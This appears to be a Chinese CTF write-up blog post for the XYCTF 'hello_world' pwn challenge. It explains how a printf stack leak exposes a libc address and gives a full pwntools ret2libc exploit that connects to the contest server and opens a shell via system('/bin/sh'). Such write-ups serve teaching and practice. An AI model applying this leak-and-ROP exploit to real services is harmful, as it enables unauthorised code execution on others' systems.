[XYCTF新生赛]-PWN:hello_world(签到)解析(泄露libc_start_call_main获取libc地址)

查看保护

查看ida

这里的printf没有格式化字符串漏洞,但是我们依旧可以填充栈来利用printf泄露栈上信息

根据我们能填充的字节数来看,我们无法泄露出libc_start_main+128的地址,但是可以泄露libc_start_call_main+128的地址,利用加上或减去相对libc_start_main的偏移依旧可以得出libc_start_main的地址,实现ret2libc。

完整exp:

from pwn import*
context(log_level='debug')
p=remote('xyctf.top',42665)

payload=b'a'*0x28
p.sendafter(b'please input your name:',payload)
p.recvuntil(b'Welcome to XYCTF! ')
p.recvuntil(b'a'*0x28)
libc_start_call_main128=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(libc_start_call_main128))
libc_start_main128=libc_start_call_main128+0xb0
libc_start_main=libc_start_main128-128
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
payload=b'a'*0x28+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendafter(b'please input your name:',payload)

p.interactive()

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值